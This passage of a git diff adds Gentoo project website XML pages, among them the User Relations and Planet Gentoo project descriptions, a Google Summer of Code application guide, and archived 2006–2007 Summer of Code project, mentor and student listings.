+<reference><uri link="/proj/en/portage/index.xml">Portage</uri></reference>
+</task>
+
+<task lead="klieber" finished="no">
+<name>pr</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/pr/index.xml">Public Relations</uri></reference>
+</task>
+
+<task lead="" finished="no">
+<name>python</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/python/index.xml">Python</uri></reference>
+</task>
+
+<task lead="halcy0n" finished="no">
+<name>qa</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/qa/index.xml">Quality Assurance</uri></reference>
+</task>
+
+<task lead="" finished="no">
+<name>releng</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/releng/index.xml">Release Engineering</uri></reference>
+</task>
+
+<task lead="jaervosz" finished="no">
+<name>security</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/security/index.xml">Security</uri></reference>
+</task>
+
+<task lead="rl03" finished="no">
+<name>web-apps</name>
+<description>
+Update project page and give 1-3 paragraph status report. 
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+<reference><uri link="/proj/en/webapps/index.xml">Web Applications</uri></reference>
+</task>
+
+<task lead="" finished="no">
+<name>gwn article</name>
+<description>
+Write an article or preferably a series of articles for the GWN giving a candid
+overview of where the various projects are at and Gentoo as a whole. Feature some
+of the better status reports and possibly blurbs from relevant devs.
+</description>
+<startdate>2006-04-28</startdate>
+<enddate>2006-05-28</enddate>
+</task>
+
+</project>
diff --git a/xml/htdocs/proj/en/userrel/index.xml b/xml/htdocs/proj/en/userrel/index.xml
new file mode 100644
index 00000000..451a578c
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/index.xml
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>userrel</name>
+<longname>Gentoo User Relations</longname>
+<date>2006-03-28</date>
+<author title="Author"><mail link="christel@gentoo.org">Christel Dahlskjær</mail></author>
+<description>
+The Gentoo User Relations Subproject offers a point of contact between the 
+development and user communities.
+</description>
+
+<longdescription>
+<p>The Gentoo User Relations project's main function is to act as a facilitator
+for the various user focused projects within Gentoo. The project takes the
+initiative in soliciting feedback from users and developers, creating surveys
+on relevant issues, promoting the distribution to individuals and groups, and
+fostering cross-project interaction.</p>
+
+<p>The project also offers a point of contact between the development and user
+communities. It looks at ways of keeping advanced users and prospective
+developers informed about the development community, and encourages relations
+between the two communities.</p>
+
+<p>It is important to note that user-relations' activities are intended to be
+proactive rather than reactive -- any specific conflicts or other incidents
+are dealt with by other groups; our part is to help reduce their workload by
+making such incidents less likely.</p>
+
+<p><b>What we do</b></p>
+<p>The user-relations project's activities and responsibilities include:</p>
+<ul>
+<li>Resolve conflicts where possible, and find creative solutions to them. Help to
+work through ongoing conflicts, miscommunication, and other such issues that
+affect our relationship with the user community.</li>
+<li>Help to turn 'more communication' into 'better communication'.</li>
+<li>Understand and appreciate different project types and management styles.</li>
+<li>Collaborate with, and where possible learn from, the user community.</li>
+</ul>
+
+<p><b>What we offer</b></p>
+<p>User-relations acts as a form of umbrella project, providing resources and input
+to the projects in its area of responsibility. Some of the things we can do for
+projects include:</p>
+<ul>
+<li>Arrange cross-project meetings for discussion of issues that affect more than
+one participating project.</li>
+<li>Develop and carry out user surveys, and other methods for gathering input from
+the user community.</li>
+<li>Provide a central source of information and resources to make user-focused
+projects' jobs easier and more productive.</li>
+<li>Encourage and facilitate sharing of experience and expertise amongst
+participating projects.</li>
+</ul>
+
+<p>Overall, we intend to encourage relevant projects to co-operate with each other
+and with us. Our main goal is to help projects to do their own jobs by providing
+information and support as outlined above, and to represent the needs of the user
+community within Gentoo. As such, in our dealings with projects we focus more on
+how to achieve their goals, leaving the goals themselves for the projects to
+decide on. To this end, we hope to stay objective, and be seen as a facilitator
+helping the projects to do what they want to do, rather than an authority
+dictating policy to others. We can also act as a single entity to represent all the
+participating projects should any of them wish to implement anything that would
+need discussion with other parts of Gentoo.</p>
+
+<p>Larry The Cow: Since the Summer of 2006 User Relations have been providing you
+with the LTC community project; this includes <uri link="http://larrythecow.org">
+larrythecow.org</uri> which serves a selection of user blogs.  To have your blog 
+included, drop an e-mail to beandog@gentoo.org.  We value greatly the feedback
+that this project provides for us.</p>
+
+</longdescription>
+
+<dev role="Lead">tsunam</dev>
+<dev role="Member">beandog</dev>
+<dev role="Member">jokey</dev>
+<dev role="Member">jmbsvicetto</dev>
+<dev role="Member" description="Arch Tester liaison">hparker</dev>
+<dev role="Member" description="Forums liaison">mark_alec</dev>
+
+<subproject ref="/proj/en/userrel/summerofcode/index.xml"></subproject>
+<subproject ref="/proj/en/userrel/planet/index.xml"></subproject>
+<subproject ref="/proj/en/userrel/adopt-a-dev/index.xml"></subproject>
+<subproject ref="/proj/en/pr/events/index.xml"></subproject>
+
+<extrachapter>
+<title>Participating Projects</title>
+<section>
+<body>
+<p>Some of the projects and groups with which User Relations are working closely
+include:</p>
+<ul>
+<li><uri link="http://www.gentoo.org/proj/en/pr/">Gentoo Public Relations</uri></li>
+<li><uri link="http://forums.gentoo.org">Gentoo Forums</uri></li>
+<li><uri link="http://bugday.gentoo.org">Gentoo Bugdays</uri></li>
+<li><uri link="http://gentoo.org/proj/en/infrastructure/">Gentoo Infrastructure</uri></li>
+<li><uri link="http://www.gentoo.org/proj/en/base/amd64/tests/index.xml">
+    AMD64 (and other) Arch Testers</uri></li>
+<li><uri link="http://bugs.gentoo.org">Gentoo Bugzilla</uri></li>
+<li><uri link="http://www.gentoo.org/proj/en/pr/gwn.xml">The Gentoo Weekly 
+    Newsletter</uri></li>
+<li><uri link="http://www.gentoo.org/main/en/irc.xml">#gentoo ops</uri></li>
+<li><uri link="http://planet.gentoo.org">Planet Gentoo</uri></li>
+<li><uri link="http://www.gentoo.org/proj/en/overlays">The Overlays Project</uri></li>
+<li><uri link="http://www.gentoo.org/proj/en/sunrise">Project Sunrise</uri></li>
+<li><uri link="http://www.gentoo.org/proj/en/devrel">Developer Relations</uri></li>
+<li><uri link="http://www.gentoo.org/proj/en/releng">Release Engineering</uri></li>
+</ul>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Getting Involved</title>
+<section>
+<body>
+<p>There are a number of areas in which interested users can contribute to Gentoo:</p>
+
+<p><b>Gentoo Linux Development team:</b> Prospective developers are encouraged to 
+become active on <uri link="http://bugs.gentoo.org">bugzilla</uri>. The bug 
+reports are monitored by development recruiters, so start squashing bugs and 
+you will become noticed. </p>
+
+<p><b>Gentoo Bugdays:</b> On the first Saturday of each month both developers and
+users gather in #gentoo-bugs on irc.freenode.net where bugs are tested, 
+discussed and resolved. Bugdays offer a great way for developers and users to
+work together and get to know each other. It also provides an opportunity for
+potential developers to be scouted. For further information the
+<mail link="bugday@gentoo.org">Bugday team</mail> can be contacted. </p>
+
+<p><b>Gentoo Linux Documentation team:</b> The team provides users with clear and
+concise documentation. It is comprised of Technical Writers, Editors/Proofreaders,
+and Translators. For more information on joining take a look at the 
+<uri link="/proj/en/gdp/doc/doc-policy.xml">Gentoo Linux Documentation Policy</uri>. </p>
+
+<p><b>Gentoo Weekly Newsletter:</b> If you would like to offer your help to the GWN team 
+as a contributor or translator then contact information can be found in the 
+<uri link="http://www.gentoo.org/news/en/gwn/gwn.xml">Gentoo Weekly Newsletter 
+Overview</uri>. </p>
+
+<p><b>#gentoo IRC Channel:</b> Knowledgeable users are encouraged to come and help
+out in #gentoo on irc.freenode.net. </p>
+
+<p><b>#gentoo-dev-help IRC Channel:</b> Anyone wanting to know more about ebuild
+writing and/or Gentoo development is welcome to come and ask in #gentoo-dev-help on
+Freenode, where developers and other users are waiting to help. </p>
+
+<p><b>overlays.gentoo.org</b>: The Overlays project offers social workspaces bringing users
+and developers closer together. Providing a testing ground and development sandbox for teams 
+within Gentoo to collaborate directly with users. Please check out 
+<uri link="http://overlays.gentoo.org">overlays.gentoo.org</uri> and their <uri link="http://www.gentoo.org/proj/en/overlays">
+project page</uri> for more information.</p>
+
+<p><b>Project Sunrise</b>: provides a starting point for users wishing to contribute to Gentoo, 
+the project encourages users to write ebuilds and under close supervision the project ensures 
+that the user contributed ebuilds meet Gentoo QA standards. You can find more information about 
+Sunrise on their <uri link="http://www.gentoo.org/proj/en/sunrise">project page.</uri></p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Contact User Relations</title>
+<section>
+<body>
+<p>Do you have questions about the Gentoo development community? Do you have a 
+suggestion to improve Gentoo? Then we'd love to hear them. Send an email to
+<mail link="userrel@gentoo.org">userrel@gentoo.org</mail> or the
+<mail link="gentoo-userrel@gentoo.org">gentoo-userrel mailing list</mail>, or find
+us in #gentoo-userrel on irc.freenode.net.</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/userrel/planet/index.xml b/xml/htdocs/proj/en/userrel/planet/index.xml
new file mode 100644
index 00000000..2ccee697
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/planet/index.xml
@@ -0,0 +1,133 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>planet</name>
+<longname>Planet Gentoo</longname>
+<date>2009-03-31</date>
+
+<author title="Author">
+  <mail link="christel@gentoo.org">Christel Dahlskjær</mail>
+</author>
+<author title="Author">
+  <mail link="beandog"/>
+</author>
+<author title="Author">
+  <mail link="tampakrap"/>
+</author>
+
+<description>
+Planet Gentoo provides a central aggregation of developers' blogs, to keep users
+and other developers informed of what they are working on
+</description>
+
+<longdescription>
+
+<p>
+We run a service, <uri link="http://planet.gentoo.org">Planet Gentoo</uri>, which
+aggregates articles written by contributing developers. This is optional, but it
+is encouraged that you participate. It helps communication between developers and
+users find it to be an interesting read too.
+</p>
+
+<p>
+In order to post content to the planet, you need to have your own weblog
+("blog"). Many sites provide this as a free service, or you can host it
+yourself (if you have the resources). Alternatively, we can host a blog for
+you.
+</p>
+
+<p>
+We aim to keep Planet Gentoo's content relevant to Gentoo and/or Gentoo-related
+developments and events.
+</p>
+
+<p>
+If we host your blog for you, you are expected to keep the content on-topic
+(Gentoo and Gentoo-related articles). You also need to understand that if you
+ever lose or drop your developer status, you will no longer be able to write
+articles on your blog.
+</p>
+
+<p>
+If you have a blog elsewhere, then it needs to be able to provide an XML
+content feed. If you blog into categories, we need to be able to get an XML
+feed which covers your "Gentoo" category but no others. This is probably a
+non-issue, as almost all blogs provide standardised feeds like this.
+</p>
+
+<p>
+This aggregation is currently available in two forms. Planet Gentoo shows only
+posts marked
+as 'on-topic', and related to Gentoo development.
+ <uri link="http://planet.gentoo.org/universe">Gentoo Universe</uri> shows
+all posts to that developer's blog, for those who are interested in more
+than strictly Gentoo-related news.
+</p>
+
+<p>
+Although this is somewhat common sense, please be careful with what you write
+about. Your views may be inappropriately interpreted as the views of Gentoo.
+Please be careful not to damage our image.
+</p>
+
+<p>
+If you are interested in contributing to Planet Gentoo, please <uri
+link="https:///bugs.gentoo.org">file a bug</uri>, selecting Product
+<c>Website www.gentoo.org</c> and Component <c>Planet</c>. You'll need
+to provide us your blog link, RSS feed links for Planet and Universe
+and your <uri link="#doc_chap4">gravatar</uri> email, if applicable.
+</p>
+
+</longdescription>
+
+<extrachapter>
+<title>Blog Hosting</title>
+<section>
+<body>
+
+<p>
+Using <uri link="http://www.b2evolution.net/">b2evolution</uri>, Planet
+Gentoo hosts blogs for any Gentoo developers who are in need of a home.
+</p>
+
+<p>
+If you want a Gentoo hosted blog, please <uri link="https://bugs.gentoo.org">file a bug</uri>,
+selecting Product <c>Website www.gentoo.org</c> and Component <c>Planet</c>.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Avatars</title>
+<section>
+<body>
+
+<p>
+Planet Gentoo and Gentoo Universe can display an icon or headshot of the
+developer on the website.
+</p>
+
+<p>For ease of maintenance, we use gravatars (globally recognized avatars)
+which the developer can manage personally.  Users can create their own gravatar
+at <uri>http://www.gravatar.com/</uri>.  By default, the MD5 string we use to
+access the personalized avatars is username@gentoo.org.  If you already have
+an account under a different e-mail address and would like to use that instead,
+please contact a developer to have your configuration updated.</p>
+
+</body>
+</section>
+</extrachapter>
+
+<dev role="Lead">beandog</dev>
+<dev>tampakrap</dev>
+
+<resource link="http://planet.gentoo.org">Planet Gentoo</resource>
+<resource link="http://planet.gentoo.org/universe">Gentoo Universe</resource>
+<resource link="http://blogs.gentoo.org/">Gentoo Developer Blogs</resource>
+
+</project>
diff --git a/xml/htdocs/proj/en/userrel/soc/applying.xml b/xml/htdocs/proj/en/userrel/soc/applying.xml
new file mode 100644
index 00000000..28125cad
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/soc/applying.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide>
+<title>Summer of Code application guide</title>
+<author>antarus</author>
+<abstract>This guide is intended to be read by anyone who is interested
+in applying to Gentoo in the Google Summer of Code.  Interested students
+need not be Gentoo developers; anyone who meets the eligibility requirements of
+Google is encouraged to apply.
+</abstract>
+<version>1.2</version>
+<date>2010/03/31</date>
+<chapter>
+<title>Applying as a student</title>
+<section>
+<title>Communication</title>
+<body>
+<p>Students interested in applying to do a project for Gentoo should join
+#gentoo-soc on irc.freenode.net and/or join the gentoo-soc mailing list.
+Announcements related to Gentoo's Summer of Code effort will be relayed to both
+places</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>What interested students need to do</title>
+<section>
+<title>Get feedback on your idea</title>
+<body>
+<p>
+Students interested in applying to do a project for Gentoo should review 
+the <uri 
+link="http://en.gentoo-wiki.com/wiki/Google_Summer_of_Code_2010_ideas">projects</uri>. 
+Each project should have a potential mentor listed, who you should 
+contact to discuss your idea before applying. You are free to apply for 
+a project that is not on our list.  In either case, once you have an 
+idea of what you want to work on, find a potential mentor to discuss it 
+with. The gentoo-soc mailing list, #gentoo-soc on irc.freenode.net or 
+any of the listed mentors on the <uri 
+link="http://en.gentoo-wiki.com/wiki/Google_Summer_of_Code_2010_ideas">ideas 
+page</uri> should be able to provide feedback.
+</p>
+</body>
+</section>
+<section>
+<title>Write a proposal</title>
+<body>
+<p>Students should author a proposal that attempts to convince Gentoo why
+their project should be chosen over other competing proposals.  A few sentences
+is not sufficient in most cases to sway anyone.
+</p>
+<ol>
+  <li><b>Abstract</b> - What does the project do; try to keep this section to one
+  paragraph.  It should not be an in depth analysis but is helpful when
+  someone desires an overview of the project.</li>
+  <li><b>Objective</b> - What problem does the project solve.  This does not need to
+  be a long section.  Generally software tries to help make people more
+  efficient, or foster communication, or entertain folks.  Any proposed
+  software should have a purpose and applicants should define that purpose
+  here.</li>
+  <li><b>Deliverables</b> - What will the project consist of when it is finished?
+  Source code, documentation, a build system, libraries, binaries; these should
+  all be enumerated in your proposal.  Without a concrete set of deliverables
+  it is difficult to judge if a student finished their proposal.  If it is
+  difficult to judge if the proposal was finished, it is difficult to pay for
+  the work as well.</li>
+  <li><b>Timeline</b> - When will the deliverables be done?  This is <b>very</b>
+  important for the mid-term evaluation as the mentor has to determine if a
+  given student has made enough progress to award them money.  A student should
+  strive to make this as easy for the mentor as possible by providing a bar
+  to be measured by and then meeting that bar.  A student should be careful to
+  make good judgements in time costs and if the student slips behind he/she
+  should alert their mentor to this fact and explain why the estimates were
+  wrong.</li>
+  <li><b>Biography</b> - The student should talk about themselves: where they are from
+  what they like to study, what they do in their free time, etc.  Part of this
+  contest is to make new friends and learn about each other and this is an
+  important part of that goal.  This section should include things like previous
+  jobs, internships, and any educational experience an applicant may have.  This
+  section is also intended to promote oneself and convince Gentoo that we should
+  chose a given student over other applicants.</li>
+</ol>
+<p>We highly recommend having some initial discussion with one of the mentors about
+your proposal before you submit it.</p>
+</body>
+</section>
+<section>
+<title>Submitting your proposal</title>
+<body>
+<p>Next, you must submit the proposal to the Google program site. Google provides
+<uri
+link="http://socghop.appspot.com/document/show/gsoc_program/google/gsoc2010/userguide#depth_students">documentation
+for this process</uri>.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/userrel/soc/archives/2006.xml b/xml/htdocs/proj/en/userrel/soc/archives/2006.xml
new file mode 100644
index 00000000..09e0be8e
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/soc/archives/2006.xml
@@ -0,0 +1,330 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>soc</name>
+<longname>Gentoo Summer of Code</longname>
+<date>2006-06-11</date>
+
+<author title="Author">
+  <mail link="nattfodd@gentoo.org">Alexandre Buisse</mail>
+</author>
+<author title="Author">
+  <mail link="gerrynjr@gentoo.org">Gerald J. Normandin Jr.</mail>
+</author>
+<author title="Author">
+  <mail link="antarus@gentoo.org">Alec Warner</mail>
+</author>
+<author title="Author">
+  <mail link="beandog@gentoo.org">Steve Dibb</mail>
+</author>
+<author title="Reviewer">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+
+<description>
+The Gentoo Summer of Code subproject oversees Gentoo's participation in the
+2006 Google Summer of Code.
+</description>
+
+<longdescription>
+
+<p>
+For the second year running, Google is organising a 
+<uri link="http://code.google.com/soc/">Summer of Code</uri>, funding students
+to work on open-source projects over the summer. This year, Gentoo is participating
+as a mentoring organisation.
+</p>
+
+</longdescription>
+
+<dev role="Lead">nattfodd</dev>
+<dev role="Lead">christel</dev>
+<dev role="Member">antarus</dev>
+<dev role="Member">eroyf</dev>
+
+<extrachapter>
+<title>Approved Projects</title>
+<section>
+<body>
+
+<p>
+For 2006, Google approved fourteen projects for Gentoo developers to
+mentor students on:
+</p>
+
+<table>
+  <tr>
+		<th>Project</th>
+		<th>Details</th>
+  </tr>
+  <tr>
+    <ti>baselayout</ti>
+    <ti>Create a GUI frontend</ti>
+  </tr>
+  <tr>
+    <ti>CVS Migration</ti>
+    <ti>Move to a different version control system</ti>
+  </tr>
+  <tr>
+    <ti>etc-update</ti>
+    <ti>Redesign</ti>
+  </tr>
+  <tr>
+    <ti>Gentoo/FreeBSD</ti>
+    <ti>Port Gentoo/FreeBSD to amd64 architecture</ti>
+  </tr>
+  <tr>
+    <ti>gentoo-stats</ti>
+    <ti>Allow arch teams to know how much testing each package
+      gets, and it would let developers know what types of CFLAGS/USE flags
+      our users are utilising</ti>
+  </tr>
+  <tr>
+    <ti><uri link="/proj/en/glep/glep-0027.html">GLEP 27</uri></ti>
+    <ti>Provide an implementation of GLEP 27 in which 
+    ebuilds may add and remove necessary accounts in a variety of
+environments</ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://www.kix.in/soc/guide-xml.pdf">GuideXML</uri></ti>
+    <ti>Write a web-based frontend to create compliant XML docs</ti>
+  </tr>
+  <tr>
+    <ti>JACK Audio</ti>
+    <ti>Improve support for jack in our sound and video packages</ti>
+  </tr>
+  <tr>
+    <ti>NetworkManager</ti>
+    <ti>Rewrite back-end</ti>
+  </tr>
+  <tr>
+    <ti>paludis</ti>
+    <ti>Extend qualudis - a QA checking tool</ti>
+  </tr>
+  <tr>
+    <ti>pkgcore</ti>
+    <ti>Pkgcore is another reimplementation of Portage, still in Python</ti>
+  </tr>
+  <tr>
+    <ti>sandbox</ti>
+    <ti>Port sandbox to *BSD</ti>
+  </tr>
+  <tr>
+    <ti><uri
+link="http://www.gentoo.org/proj/en/scire">SCIRE</uri></ti>
+    <ti>Install, configure, and replicate Gentoo installations onto
+      numerous machines.</ti>
+  </tr>
+  <tr>
+    <ti>xorg-x11</ti>
+    <ti>Create a unified X.org configuration tool that's appropriate for use
+with      Gentoo's LiveCDs across multiple architectures</ti>
+   </tr>
+</table>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Mentors for Summer of Code 2006</title>
+<section>
+<body>
+<table>
+  <tr>
+    <th>Developer</th>
+    <th>E-mail</th>
+    <th>Projects</th>
+  </tr>
+  <tr>
+    <ti>Brian Harring</ti>
+    <ti>ferringb@gentoo.org</ti>
+    <ti>pkgcore</ti>
+  </tr>
+  <tr>
+    <ti>Chris White</ti>
+    <ti>chriswhite@gentoo.org</ti>
+    <ti>etc-update, GuideXML, xorg-x11</ti>
+  </tr>
+  <tr>
+    <ti>Christel Dahlskjaer</ti>
+    <ti>christel@gentoo.org</ti>
+    <ti>gentoo-stats</ti>
+  </tr>
+  <tr>
+    <ti>Ciaran McCreesh</ti>
+    <ti>ciaran.mccreesh@blueyonder.co.uk</ti>
+    <ti>GLEP 27, paludis</ti>
+  </tr>
+  <tr>
+    <ti>Diego Petteno</ti>
+    <ti>flameeyes@gentoo.org</ti>
+    <ti>etc-update, Gentoo/FreeBSD, JACK Audio, sandbox</ti>
+  </tr>
+  <tr>
+    <ti>Gerald Normandin</ti>
+    <ti>gerrynjr@gentoo.org</ti>
+    <ti>xorg-x11</ti>
+  </tr>
+  <tr>
+    <ti>Grant Goodyear</ti>
+    <ti>g2boojum@gentoo.org</ti>
+    <ti>CVS Migration, gentoo-stats, GLEP 27</ti>
+  </tr>
+  <tr>
+    <ti>Lance Albertson</ti>
+    <ti>ramereth@gentoo.org</ti>
+    <ti>CVS Migration</ti>
+  </tr>
+  <tr>
+    <ti>Luca Barbato</ti>
+    <ti>lu_zero@gentoo.org</ti>
+    <ti>JACK Audio</ti>
+  </tr>
+  <tr>
+    <ti>Marien Zwart</ti>
+    <ti>marienz@gentoo.org</ti>
+    <ti>pkgcore</ti>
+  </tr>
+  <tr>
+    <ti>Markus Ullman</ti>
+    <ti>jokey@gentoo.org</ti>
+    <ti>backup</ti>
+  </tr>
+  <tr>
+    <ti>Preston Cody</ti>
+    <ti>codeman@gentoo.org</ti>
+    <ti>SCIRE</ti>
+  </tr>
+  <tr>
+    <ti>Roy Marples</ti>
+    <ti>uberlord@gentoo.org</ti>
+    <ti>baselayout, NetworkManager</ti>
+  </tr>
+  <tr>
+    <ti>Shyam Mani</ti>
+    <ti>fox2mike@gentoo.org</ti>
+    <ti>GuideXML</ti>
+  </tr>
+  <tr>
+    <ti>Stephen Klimaszewski</ti>
+    <ti>steev@gentoo.org</ti>
+    <ti>NetworkManager</ti>
+  </tr>
+  <tr>
+    <ti>Stephen Bennett</ti>
+    <ti>spb@gentoo.org</ti>
+    <ti>Gentoo/FreeBSD, paludis, sandbox</ti>
+  </tr>
+  <tr>
+    <ti>Stuart Herbert</ti>
+    <ti>stuart@gentoo.org</ti>
+    <ti>GuideXML</ti>
+  </tr>
+</table>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Students for Summer of Code 2006</title>
+<section>
+<body>
+<table>
+  <tr>
+    <th>Student</th>
+    <th>E-mail</th>
+    <th>Project</th>
+  </tr>
+  <tr>
+    <ti>Alec Warner</ti>
+    <ti>antarus@gentoo.org</ti>
+    <ti>CVS Migration</ti>
+  </tr>
+  <tr>
+    <ti>Alex Martinez</ti>
+    <ti>unledev@gmail.com</ti>
+    <ti>sandbox</ti>
+  </tr>
+  <tr>
+    <ti>Anant Narayanan</ti>
+    <ti>anant@kix.in</ti>
+    <ti>GuideXML</ti>
+  </tr>
+  <tr>
+    <ti>David Morgan</ti>
+    <ti></ti>
+    <ti>paludis</ti>
+  </tr>
+  <tr>
+    <ti>Ian Gowen</ti>
+    <ti>ian.gowen@gmail.com</ti>
+    <ti>baselayout</ti>
+  </tr>
+  <tr>
+    <ti>John Guidry</ti>
+    <ti>jguidry3@tulane.edu</ti>
+    <ti>JACK Audio</ti>
+  </tr>
+  <tr>
+    <ti>John Sonnenschein</ti>
+    <ti>johnsonnenschein@gmail.com</ti>
+    <ti>pkgcore</ti>
+  </tr>
+  <tr>
+    <ti>Joseph Jezak</ti>
+    <ti>josejx@gentoo.org</ti>
+    <ti>xorg-x11</ti>
+  </tr>
+  <tr>
+    <ti>Marius Mauch</ti>
+    <ti>google-soc@genone.de</ti>
+    <ti>gentoo-stats</ti>
+  </tr>
+  <tr>
+    <ti>Matt Disney</ti>
+    <ti>mdisney@gmail.com</ti>
+    <ti>SCIRE</ti>
+  </tr>
+  <tr>
+    <ti>Michael Kelly</ti>
+    <ti>pioto@pioto.org</ti>
+    <ti>GLEP 27</ti>
+  </tr>
+  <tr>
+    <ti>Nicolas Trangez</ti>
+    <ti>nicolas.trangez@gmail.com</ti>
+    <ti>NetworkManager</ti>
+  </tr>
+  <tr>
+    <ti>Simon Stelling</ti>
+    <ti>blubb@gentoo.org</ti>
+    <ti>etc-update</ti>
+  </tr>
+  <tr>
+    <ti>Victor Roman Archidona</ti>
+    <ti>daijo@unixevil.info</ti>
+    <ti>Gentoo/FreeBSD</ti>
+  </tr>
+</table>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Planet Gentoo</title>
+<section>
+<body>
+  
+<p>
+Planet Gentoo has setup an RSS feed and website for the Summer of Code
+bloggers. The website is available at <uri>http://planet.gentoo.org/soc</uri>
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/userrel/soc/archives/2007.xml b/xml/htdocs/proj/en/userrel/soc/archives/2007.xml
new file mode 100644
index 00000000..b1054163
--- /dev/null
+++ b/xml/htdocs/proj/en/userrel/soc/archives/2007.xml
@@ -0,0 +1,284 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>soc</name>
+<longname>Gentoo Summer of Code</longname>
+<date>2007-03-16</date>
+
+<author title="Author">
+  <mail link="antarus@gentoo.org">Alec Warner</mail>
+</author>
+
+<author title="Author">
+  <mail link="christel@gentoo.org">Christel Dahlskjaer</mail>
+</author>
+
+<author title="Author">
+  <mail link="codeman@gentoo.org">Preston Cody</mail>
+</author>
+
+<description>
+The Gentoo Summer of Code subproject oversees Gentoo's participation in the
+annual Google Summer of Code program.</description>
+
+<longdescription>
+
+<p>
+For the third year running, Google is organising a 
+<uri link="http://code.google.com/soc/">Summer of Code</uri>, funding students
+to work on open-source projects over the summer. This year, Gentoo is participating
+as a mentoring organisation.
+</p>
+
+</longdescription>
+
+<dev role="Lead">christel</dev>
+<dev role="Member">antarus</dev>
+
+<extrachapter>
+<title>Project Ideas</title>
+<section>
+<body>
+
+<p>
+As of yet Gentoo is unaware of how many slots have been allocated.
+Some project ideas are below:
+</p>
+
+<table>
+  <tr>
+    <th>Project</th>
+    <th>Details</th>
+  </tr>
+  <tr>
+    <ti>equizApp</ti>
+    <ti>Create a system that allows Gentoo recruiters and developers
+        to submit questions into a database.  The questions should be
+        categorized by subject.  This system should also allow a user
+        to create a quiz from the set of questions and the user should
+        be able to specify how many questions per category.  The system
+        should also store the answers to each question and hide them when
+        generating a quiz.  The system may optionally support a voting or
+        reporting mechanism such that people can report bad questions.</ti>
+  </tr>
+  <tr>
+	<ti><uri link="/proj/en/java">Java Configuration tool</uri></ti>
+	<ti>Create an application that is a GUI for what java-config and eselect
+		java-nsplugin currently offer. If this is written in Java it can 
+		for example use jython to interface with java-config that is written
+		in python. Besides offering a GUI for current configuration options
+		the application should be able to configure used JDK and options on
+		a per application launcher basis.</ti>
+  </tr>
+  <tr>
+	<ti><uri link="/proj/en/java">Unify FOSS Java VM handling in Gentoo</uri></ti>
+	<ti>This project involves creating eclass functions for setupping a JDK
+        around packages like dev-java/cacao and dev-java/jamvm. As there are
+        multiple choices for for example javadoc implementations the student
+		should also come up with configuration tools by for example extending
+		java-config. As part of this project the FOSS Java stack should be
+		tested to compile everything Java that Gentoo has to offer.
+    </ti>
+  </tr>
+  <tr>
+	<ti><uri link="/proj/en/java">Integrate Maven into Gentoo</uri></ti>
+	<ti>Currently maven can't be used in ebuilds because it downloads dependencies
+		from the network. JPackage has patches to make maven integrate into
+		rpm based distributions. As part of this project you will port these
+		patches into Gentoo and develop eclass functions needed to easily write
+		ebuilds that use maven as the build system and follow Gentoo Java policies.
+    </ti>
+  </tr>
+  <tr>
+	<ti><uri link="/proj/en/java">Java binary package repository</uri></ti>
+	<ti>Due to the nature of Java it should be possible to setup a Gentoo binary
+		Java package repository. This project involves developing the necessary tools
+		to automatically keep this repository up2date and initially setting it up.
+    </ti>
+  </tr>
+  <tr>
+    <ti><uri link="http://www.gentoo.org/proj/en/scire">SCIRE</uri></ti>
+    <ti>The Scire project aims to create a widely extensible common 
+        portal for administrative tasks for multiple Linux client machines.
+        Common tasks will include updating software, installing software,
+        customizing configuration files, and running scripts. The goal 
